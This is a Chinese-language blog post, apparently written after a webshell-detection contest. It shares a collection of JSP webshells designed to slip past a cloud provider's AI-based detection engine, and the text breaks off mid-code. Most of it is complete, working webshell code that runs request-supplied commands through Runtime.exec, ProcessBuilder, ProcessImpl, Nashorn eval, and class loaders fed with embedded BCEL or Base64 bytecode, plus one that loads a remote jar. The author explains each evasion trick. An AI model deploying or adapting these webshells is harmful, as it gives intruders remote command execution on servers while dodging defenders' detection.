最近,我的朋友“老嗨”,他参加了一个某云举办的号称可能史上最强的使用了AI技术的Webshell检测系统挑战赛...因为我没什么时间去搞这个,所以,我把我珍藏多年,姿势比较多的JSP Webshell发给了老嗨,老嗨跟我说,全部bypass了,但最后的结果非常惨烈,有被抢了的,有的因为没适配windows导致降级的,也有因为裁判机使用了openjdk亦或者他根本不会java瞎配的classpath导致不能运行的,惨惨。
老嗨跟我说,经过一轮轮的battle,引擎的检测能力有没有加强他不知道,但是他说每周日PHP都能快速更新引擎,而JSP至今快结束了都未曾更新,简直就是脑补bypass,我感觉JSP在这次比赛中就是个弟弟,不知道是不是举办方在Java方面能力有所欠缺,还是JSP检测引擎的存在只是PHP的衬托,好宣称不但支持PHP Webshell,还支持jsp的检查?不过这只是我的猜测,切不可当真,呵呵。
JSP Webshell本来局限就比较大,来来去去都是那些个函数方法,姿势也不算多,虽然引擎没更新,但是毕竟很多姿势都被抢了,所以后面的挑战会越来越难,不像PHP,被phper们简直刷爆,xm$l。
今天这篇文章主要是分享一下各种JSP执行命令的姿势,和描述一些存在静态检测机制的系统,如何以各种姿势去绕过,但其实认真看会发现,多数都runtime.exec、反射、字节码、反序列化、表达式执行等姿势,以及如何去回显,代码可能是随意写的,但是重点还是姿势(不同的核心class method),分享给大家。
github地址:https://github.com/threedr3am/JSP-Webshells
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %> <html> <body> <h2>BCEL字节码的JSP Webshell</h2> <% String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$a6$40$93r$d5$e2$8d$dap$ebh$eb$a5$96$8a6$I$V$N$X$81$82$Uo$93$c9$n$M$9d$cc$c4$c9$a4$82w$fd$N$fe$H_$adKC$97$b8$7c$f4$c1G$7f$86$bf$c1e$fd$ce$q$40b$c2$f2a$ce$99$b3$f7$9e$bd$bf$fd$ed$bd$cf$fc$f1$cf$_$bf$Bx$B$df$ea$Y$c6$8c$86$d7t$b4$c9$fdu$N$b7t$a41$x$977t$cca$5eG$3bn$ebP$f1$a6$5c$W$a4$e1$5bq$bc$z$f7L$tz$b1$a8aI$c72V$e2xG$c7$w$d6t$ac$e3$8e$5c6tl$e2$ddNl$e1n$i$db$3a$de$c3$fb$g$3eP$Q$LDIA$o$b3g$dd$b7L$d7$f2$f2$e6Z$Y8$5e$7eZA$c7M$c7s$c2$Z$F$7d$a9f$f5$d8$86$Cu$d6$cf$J$F$3d$Z$c7$TK$e5BV$E$ebV$d6$V$d2$9do$5b$ee$86$V8$f2$5c$T$aa$e1$ae$c3P$X2$eb$bb$81$Q$b9$e0$9aU$d8$U$d9$b5$5d$e1$ba$M$W$b3$L9$F$e7J$91$f7t$d9qs$oP0$d4$U$b8$a6$e2$X$dd$d9$f2$ce$8e$IDnUX$91$f1$60$d5$d8$f1$cdt$83$86$b6$aaK$88t$bf$WZ$f6$bdE$ab$YA$oW$g$3e$q$df$a4Z$81$3e$b7o$8bb$e8$f8$5eI$c3G$K$e2$a1_$8dH$c8$a9$b1V$fc$a8$F$cb$f1$U$f4$a7$b6$cf$a0$c7$K$f2L8$d9B$ad$a0$cb$f1$8a$e5$90Ga$V$c8$f0$J$f4$85S1$ad$da$b3$H$a1$acO$dbv$9a$fe$ec$88n$7d$cd$_$H$b6$98w$q$a9$D$cdd$5e$91$ae$M$5c$84E$f5$Z$f4$Ruk$aeHy$L$qU$9d$86$ac$B$h9$D$C$3b$g$f2$Gv$e1$c8$40$7br$b9g$c0$c5U$D$F$90$TE7$f0$bc$3c$3d$86$c7$d9$O$cd$m5$f8$G$8a$f8$98Uk$91$81$edZ$rV$n0PB$a8$a1l$e0$3e$3e1$b0$8f$D$N$9f$g$f8$M$9fk$f8$c2$c0$97$f8$8au$g$jM$cf$ceeFG5$7cm$e0$h$8c$u$e8$3d$cdz9$bb$t$ec$b0At$5c$d5$e4I$a2$cb$t$a5g$l$a6d$e9$ce$9f$9a$af$96$bd$d0$vH$de$f3$o$3c9$f45$b4DM$y$7bB$ec$L$5b$c1$e5V$TS$tZ$J$7c$5b$94J$d3$N$91jBv6$p$z$d4$b7$c7$c0q$b4$a6$G$ZL$b5T$c8$i$92$a7$aa$da$iHi$9c$fa$5c$s$9a$86$O$abX$U$k$a7n$ea$7f$d0$few$f2zNU$b3$b2RU$c4$d1k$c6$afuQ$D$3fu$w$7e$de$d7RA$c0$92$60Q$8a$ba$fbV$e98$f7$b1$b3$c15$b1$91l$nV$d0I$a1$e3V$_$n$96w$81U$92$qp$baR$dbiy$bcj$fb$F$b3T$f6L$3f$c8$9bV$d1$b2w$85$99$b5$85k$3a$5e$u$C$cfr$cd$a8$nw8q$e6$9d$d0q$9d$f0$80$ec$J$af$3a$8f$D$f4r$b7$e5$FQ$dft$H$a5P$QK$cc$_$87$f5$e3$beB$d3$W$f8$eb$c4$K$b4$a2$3c$b9$k$9e$e2$N$3f$cc_$85$c2$87$83$c55$c6$f7$8b$Y$e1$f5$ff$EO$7f$a2$83$ff$H$e0$f6$f8$n$94$p$b4m$j$o$b6x$Eu$eb$I$ed$5b$P$d11Q$81VA$fc$Q$9d$87$d0$97$a6$w$e8$da$ba$a1$fe$8e$c4$e4$90Z$81$918$c7e$f3$fbG$7f$8dOV$d0$fd3z$kD$B$9e$e4$3a$C$8dk7$7f9$3d0$I$e2$S$S0$91$c4$M$fa0$8f$7e$C$93$ff$af$u4$9e$c63$40$f46J$88$K$ed$a7i$ff$y$n$5e$a2$ee2R$f49I$f8c$d4$aa$Y$8fRi$7bD$a5$aaaB$c3$a4$86$v$NW$80$bf1$c8$T$c3$80f$K$9e$e3$c3$h$85$ab$cc$d4$e4$$Yh$l$ff$J$3d$3f$f0$a5$z$c2$d9$R$J$87$p$3cF$d5$a0$86$a7$T$d7$88$b0J$d3wD$a0r$bf$9e$e8$ad$e0$7c$oQA2Cj$$$fc$g_$9c$60$ea$7d$9b$93$eaC$f4$_$fd$88$81$g$87$89A2C$ba$M$f2R$c1$d0$83$93x$c3$8c$u$d9$e9$a2$df$E$r$83$8c$3c$c2$88$_3$a6$c40$5e$8d$83$X$f1$S$f7$$LQs$9d$b8$S$e4$e3$V$dc$a0$97$R$fa$98$s$T$b1$86DoF$R$5e$fd$X$cb$B$rU$g$I$A$A"; response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString()).getBytes()); %> </body> </html>
上述使用了com.sun.org.apache.bcel.internal.util.ClassLoader
直接加载BCEL格式的字节码,实现了bypass某云的Webshell的检测。
而BCEL字节码的生成,以及执行指令的恶意类如下:
import com.sun.org.apache.bcel.internal.classfile.Utility; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; /** * @author threedr3am */ public class Threedr3am { String res; public Threedr3am(String cmd) throws IOException { StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } res = stringBuilder.toString(); } @Override public String toString() { return res; } public static void main(String[] args) throws IOException { InputStream inputStream = Threedr3am_15.class.getClassLoader().getResourceAsStream("Threedr3am.class"); byte[] bytes = new byte[inputStream.available()]; inputStream.read(bytes); String code = Utility.encode(bytes, true); System.out.println("$$BCEL$$" + code); } }
因为BCEL生成的时候是不带前缀$$BCEL$$的,所以需要我们自己补充上。
这里有个trick就是,因为某云禁了invoke的调用,我这里override了toString方法,使用它进行对命令执行结果的带出,其实这样的绕过还有很多,比如throw异常、写文件、寄存到static field、设置到System property等等都是可以的,请继续看后面的webshell。
<%@ page import="java.security.PermissionCollection" %> <%@ page import="java.security.Permissions" %> <%@ page import="java.security.AllPermission" %> <%@ page import="java.security.ProtectionDomain" %> <%@ page import="java.security.CodeSource" %> <%@ page import="java.security.cert.Certificate" %> <%@ page import="java.util.Base64" %> <html> <body> <h2>自定义类加载器的JSP Webshell</h2> <% response.getOutputStream().write(new ClassLoader() { @Override public Class<?> loadClass(String name) throws ClassNotFoundException { if (name.contains("Threedr3am_2")) { return findClass(name); } return super.loadClass(name); } @Override protected Class<?> findClass(String name) throws ClassNotFoundException { try { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MVGhyZWVkcjNhbV8yOwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQARVGhyZWVkcjNhbV8yLmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAMVGhyZWVkcjNhbV8yBwBwDABxAHIBABJUaHJlZWRyM2FtXzIuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAADgAEAA8ADAAQACUAEgAvABMAPgAVAEYAFgAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAGgAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAHgALAB8AEgAgABgAIQAgACIAJwAjACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ"); PermissionCollection pc = new Permissions(); pc.add(new AllPermission()); ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null); return this.defineClass(name, bytes, 0, bytes.length, protectionDomain); } catch (Exception e) { e.printStackTrace(); } return super.findClass(name); } }.loadClass("Threedr3am_2").getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString().getBytes()); %> </body> </html>
这里的自定义类加载器,重写了loadClass、findClass方法,实现在使用类加载器加载类时,使用jsp中硬编码的恶意字节码。
字节码输出以及恶意类的编写如下:
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.util.Base64; /** * @author threedr3am */ public class Threedr3am_2 { String res; public Threedr3am_2(String cmd) throws IOException { StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } res = stringBuilder.toString(); } @Override public String toString() { return res; } public static void main(String[] args) throws IOException { InputStream inputStream = Threedr3am_2.class.getClassLoader().getResourceAsStream("Threedr3am_2.class"); byte[] bytes = new byte[inputStream.available()]; inputStream.read(bytes); String code = Base64.getEncoder().encodeToString(bytes); System.out.println(code); } }
跟前面的一样,也是通过重写toString方法进行命令执行结果的带出,主要也是因为这种方式比较简易。
<%@ page import="javax.script.ScriptEngineManager" %> <%@ page import="java.util.Base64" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <html> <body> <h2>ScriptEngine.eval的JSP Webshell</h2> <% String s1 = "s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='"; String s2 = request.getParameter("threedr3am"); String s3 = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs=")); Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s1 + s2 + s3); InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } if (stringBuilder.length() > 0) { response.getOutputStream().write(stringBuilder.toString().getBytes()); } %> </body> </html>
这个比较简单,就是使用了jdk自带的ScriptEngine执行脚本的方式进行执行命令。
<%@ page import="java.net.URL" %> <%@ page import="java.net.URLClassLoader" %> <html> <body> <h2>URLClassLoader加载远程jar的JSP Webshell</h2> <% response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:80/threedr3am.jar")}).loadClass("Threedr3am_4").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("threedr3am"))).toString().getBytes()); %> </body> </html>
这个jsp webshell使用了URLClassLoader加载远程恶意jar,在loadClass时触发恶意代码执行,这种方式的Webshell,如果遇到了限制出网的情况,可能就没用了。
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.util.Base64; /** * @author threedr3am */ public class Threedr3am_4 { String res; public Threedr3am_4(String cmd) throws IOException { StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } res = stringBuilder.toString(); } @Override public String toString() { return res; } }
<%@ page import="java.net.URL" %> <%@ page import="java.net.URLClassLoader" %> <%@ page import="java.nio.charset.Charset" %> <%@ page import="java.nio.file.Files" %> <%@ page import="java.nio.file.Paths" %> <%@ page import="java.util.Locale" %> <%@ page import="javax.tools.DiagnosticCollector" %> <%@ page import="javax.tools.JavaCompiler" %> <%@ page import="javax.tools.JavaFileObject" %> <%@ page import="javax.tools.StandardJavaFileManager" %> <%@ page import="javax.tools.ToolProvider" %> <%@ page import="java.util.Random" %> <%@ page import="java.io.File" %> <html> <body> <h2>javac动态编译class的JSP Webshell</h2> <% String c = request.getParameter("threedr3am"); String tmpPath = Files.createTempDirectory("threedr3am").toFile().getPath(); JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler(); DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector(); StandardJavaFileManager standardJavaFileManager = javaCompiler .getStandardFileManager(diagnostics, Locale.CHINA, Charset.forName("utf-8")); int id = new Random().nextInt(10000000); StringBuilder stringBuilder = new StringBuilder() .append("import java.io.BufferedReader;\n") .append("import java.io.IOException;\n") .append("import java.io.InputStream;\n") .append("import java.io.InputStreamReader;\n") .append("public class Threedr3am" + id + " {\n") .append(" public static String result = \"\";\n") .append(" public Threedr3am" + id + "() throws Throwable {\n") .append(" StringBuilder stringBuilder = new StringBuilder();\n") .append(" try {") .append(" BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"" + c + "\").getInputStream()));\n") .append(" String line;\n") .append(" while((line = bufferedReader.readLine()) != null) {\n") .append(" stringBuilder.append(line).append(\"\\n\");\n") .append(" }\n") .append(" result = stringBuilder.toString();\n") .append(" } catch (Exception e) {\n") .append(" e.printStackTrace();\n") .append(" }\n") .append(" throw new Throwable(stringBuilder.toString());") .append(" }\n") .append("}"); Files.write(Paths.get(tmpPath + File.separator + "Threedr3am" +id + ".java"), stringBuilder.toString().getBytes()); Iterable fileObject = standardJavaFileManager.getJavaFileObjects(tmpPath + File.separator + "Threedr3am" +id + ".java"); javaCompiler.getTask(null, standardJavaFileManager, diagnostics, null, null, fileObject).call(); try { new URLClassLoader(new URL[]{new URL("file:" + tmpPath + File.separator)}).loadClass("Threedr3am" + id).newInstance(); } catch (Throwable e) { response.getOutputStream().write(e.getMessage().getBytes()); } %> </body> </html>
这是一个利用了jdk自带的javac进行动态编译class的jsp webshell,stringBuilder中的内容就是java源码内容,我们可以通过加密或编码的方式对其内容进行隐匿,避免被检测到,还有就是,这里使用了和前面不一样的方式去对命令执行结果的带出,具体是使用了field字段进行寄存,最后HTTP响应返回时从其中取出返回。
理论上这个马,也是有一点点小限制的,限制的点就在于ToolProvider.getSystemJavaCompiler
,按照官方文档的说法,这个api主要是提供给桌面端使用的,也就是说,服务器端可能会获取不到编译器对象。
<%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.security.CodeSource" %> <%@ page import="java.security.cert.Certificate" %> <%@ page import="java.util.Base64" %> <%@ page import="jdk.nashorn.internal.runtime.Context" %> <%@ page import="jdk.nashorn.internal.runtime.options.Options" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <%@ page import="sun.reflect.misc.MethodUtil" %> <html> <body> <h2>jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell</h2> <% Class c = Class.forName("jdk.nashorn.internal.runtime.ScriptLoader"); final Constructor constructor = c.getDeclaredConstructor(Context.class); constructor.setAccessible(true); final Method m = c.getDeclaredMethod("installClass", String.class, byte[].class, CodeSource.class); m.setAccessible(true); class A { B b; final class B { private Object o; private Object[] oo; public B() throws IllegalAccessException, InvocationTargetException, InstantiationException { o = constructor.newInstance(new Context(new Options(""), null, null)); oo = new Object[]{"Threedr3am_6", Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MVGhyZWVkcjNhbV82OwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQARVGhyZWVkcjNhbV82LmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAMVGhyZWVkcjNhbV82BwBwDABxAHIBABJUaHJlZWRyM2FtXzYuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAADgAEAA8ADAAQACUAEgAvABMAPgAVAEYAFgAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAGgAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAHgALAB8AEgAgABgAIQAgACIAJwAjACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ"), new CodeSource(null, (Certificate[]) null)}; } } public A() throws IllegalAccessException, InstantiationException, InvocationTargetException { b = new B(); } public Class invokex(Method method) throws InvocationTargetException, IllegalAccessException { return (Class) MethodUtil.invoke(method, b.o, b.oo); } } Class target = new A().invokex(m); response.getOutputStream().write(target.getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString().getBytes()); %> </body> </html>
这个马和前面的自定义类加载器没什么大区别,但是是使用了jdk.nashorn.internal.runtime.ScriptLoader
,这种情况只是想展示不一样的姿势,最主要的是,如果某些类加载器被禁用了,就可以使用这个特殊的类加载器去加载字节码执行,不过其实还是需要调用invoke进行加载的,而某云的检测还是会检测到的,但是这里使用了多层的内部类形式,成功的绕过了某云的检测,invoke的绕过不是重点,重点的是想说一下有这样的一个类加载器。
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.util.Base64; /** * @author threedr3am */ public class Threedr3am_6 { String res; public Threedr3am_6(String cmd) throws IOException { StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } res = stringBuilder.toString(); } @Override public String toString() { return res; } public static void main(String[] args) throws IOException { InputStream inputStream = Threedr3am_6.class.getClassLoader().getResourceAsStream("Threedr3am_6.class"); byte[] bytes = new byte[inputStream.available()]; inputStream.read(bytes); String code = Base64.getEncoder().encodeToString(bytes); System.out.println(code); } }
<%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.InputStreamReader" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.util.Map" %> <%@ page import="sun.reflect.misc.MethodUtil" %> <html> <body> <h2>java.lang.ProcessImpl JSP Webshell</h2> <% try { final String s = request.getParameter("threedr3am"); class A { B b; final class B { private Method o; private Object oo; private Object[] ooo; public B() throws ClassNotFoundException, NoSuchMethodException { Class clz = Class.forName("java.lang.ProcessImpl"); Method method = clz .getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); method.setAccessible(true); o = method; oo = clz; ooo = new Object[]{s.split(" "), null, null, null, false}; } } public A() throws ClassNotFoundException, NoSuchMethodException { b = new B(); } public Object invokex() throws InvocationTargetException, IllegalAccessException { return MethodUtil.invoke(b.o, b.oo, b.ooo); } } Process process = (Process) new A().invokex(); InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } if (stringBuilder.length() > 0) { response.getOutputStream().write(stringBuilder.toString().getBytes()); } } catch (Exception e) { e.printStackTrace(); } %> </body> </html>
<%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.InputStreamReader" %> <html> <body> <h2>java.lang.ProcessBuilder JSP Webshell</h2> <% try { final String cmd = request.getParameter("threedr3am"); class Threedr3am_8 { Threedr3amX threedr3amX; class Threedr3amX { private Process process; public Threedr3amX() throws IOException { process = new ProcessBuilder().command(cmd.split(" ")).start(); } } public Threedr3am_8() throws IOException { threedr3amX = new Threedr3amX(); } public String echo() throws IOException { Process process = threedr3amX.process; InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while ((line = bufferedReader.readLine()) != null) { 